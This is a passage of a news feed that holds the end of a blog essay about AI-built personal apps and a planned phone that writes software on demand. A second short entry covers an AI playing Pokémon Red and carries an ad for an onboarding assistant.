How can I get an accurate weather forecast for Roscoe Village in Chicago when the nearest weather stations are attached to O’Hare and miss the lake effect?&#xA;&#xA;- Forget the map, just tell me if I should get off the Eisenhower Expressway and take Roosevelt, Madison, or Lake back home?&#xA;&#xA;- Is there a meeting happening anywhere right this minute that I’m supposed to be in?&#xA;&#xA;&#xA;You can go on and on like this. These all sound trivial. That’s the point. They’re normal-life problems nobody would have built serious programs around, because the audience sounds too small.&#xA;&#xA;Today, almost all software comes from expert strangers. But soon, strangers will stop supplying our apps, and instead ship just their building blocks. Sure, there will still be megaproject browsers and word processors. But there’ll be thousands of times more applications that pull in 1/7th of the guts of a word processor to solve some idiosyncratic work or home life problem for somebody who doesn’t know what a for-loop is.&#xA;&#xA;You can disagree with me about all of this, but if you understand where I’m coming from, it’s all just straightforwardly obvious how weird this is going to make everything.&#xA;&#xA;Why do we have modern operating systems? It’s not simply to “provide access to hardware resources”; plenty of embedded systems do that with runtimes that have no business calling themselves an “OS”. No, the core purpose of a modern operating system is to partition different applications off from each other, and carefully control how they can communicate.&#xA;&#xA;That makes a lot of sense in a world where we’re importing all our software from strangers. It makes less sense in the world we’re heading to, where most of the software we’re carving up fiefdoms for has the same provenance. And it makes almost no sense in a world where every application is malleable, subject to growing new limbs at any moment on the whims of its creator.&#xA;&#xA;❦&#xA;&#xA;That’s what we’re working on: a platform that is the device we would want to have in the world I just described. So: we’re building a phone.&#xA;&#xA;Every mainstream phone on the market in 2026 was planned (torturously, to death) in 2023. That’s how product cycles work. In 2023, computers were still devices designed to run deterministic fixed-function applications produced by a priesthood of professional programmers. And software was something users bought, not built.&#xA;&#xA;The soul of those phones is stuck in the 1970s. Dudes with big mustaches nailed down the design while hacking on VT52 terminals with Boston’s “More Than A Feeling” blaring on the FM radio perched on their workbenches. Since then, all we’ve done is scale and miniaturize that design so it fits in your pocket. It’s beautifully machined and sports a zillion pixels and does the same job as a DEC PDP-11: running prefab applications.&#xA;&#xA;We’re building a phone that isn’t designed to run fixed-function applications. I doubt anyone will ever get up on a stage and show off a AAA mobile game (that nobody plays) on it. It’s not for TikTok and short-form video, though I guess you can ask it for that. You can ask it for whatever: it’ll build apps for you, on the phone, whenever you want.&#xA;&#xA;I know what you’re probably thinking about all this. That’s OK: that means you’re a reasonable person. We’re betting that AI is about to do unreasonable things.&#xA;&#xA;There’s a long history of grand statements about the world attached to “and here’s my new company” buttons. It never goes well. I’m aware that no matter what I write here, I’m going to sound like yet another startup nerd talking about “the future of programming” before announcing that I’ve joined, like, Sri Lanka’s answer to Uber or something.&#xA;&#xA;I have a lot to say that I’m not saying now. Not because it’s secret, but to get the “new startup announcement” stink off the technical details.&#xA;&#xA;The last year in the technology industry has felt like 100 years all happening at once. Our industry is destabilized in a way nobody’s experienced since the advent of the personal computer. Every limit AI runs up against collapses within a month. Everything we do with frontier models today, in a few years we’ll be doing instantaneously and for free.&#xA;&#xA;When we were kids, we thought computers could do anything, if we could just get our hands on them. We had to become professional software developers to learn how much computers suck.&#xA;&#xA;Now we all have to unlearn that stuff, and think like kids again. So, here we go.</content>
    <link href="https://sockpuppet.org/blog/2026/09/25/what-even-is-an-os-now/" rel="alternate"></link>
    <author>
      <name>fratellobigio</name>
    </author>
  </entry>
  <entry>
    <title>Show HN: Jev Plays Pokémon Red</title>
    <updated>2026-09-25T23:28:07+09:00</updated>
    <id>hn_49845172</id>
    <content type="html">JEV LIVE FEED&#xA;&#xA;**JEV** BOY&#xA;&#xA;STARTS MUTED. UNMUTE FOR GAME AUDIO.&#xA;&#xA;THE RIGHT PANEL SHOWS EVERY DECISION AND JEV&#39;S ODDS.&#xA;&#xA;OAK: JEV only knew where to go next because it had a guide.&#xA;&#xA;Your users need one too! FRIGADE is an AI assistant that learns your product on its own and shows each user the next step, right inside your app.</content>
    <link href="https://jev-pokemon.vercel.app/" rel="alternate"></link>
    <author>
      <name>pancomplex</name>
    </author>
  </entry>
</feed>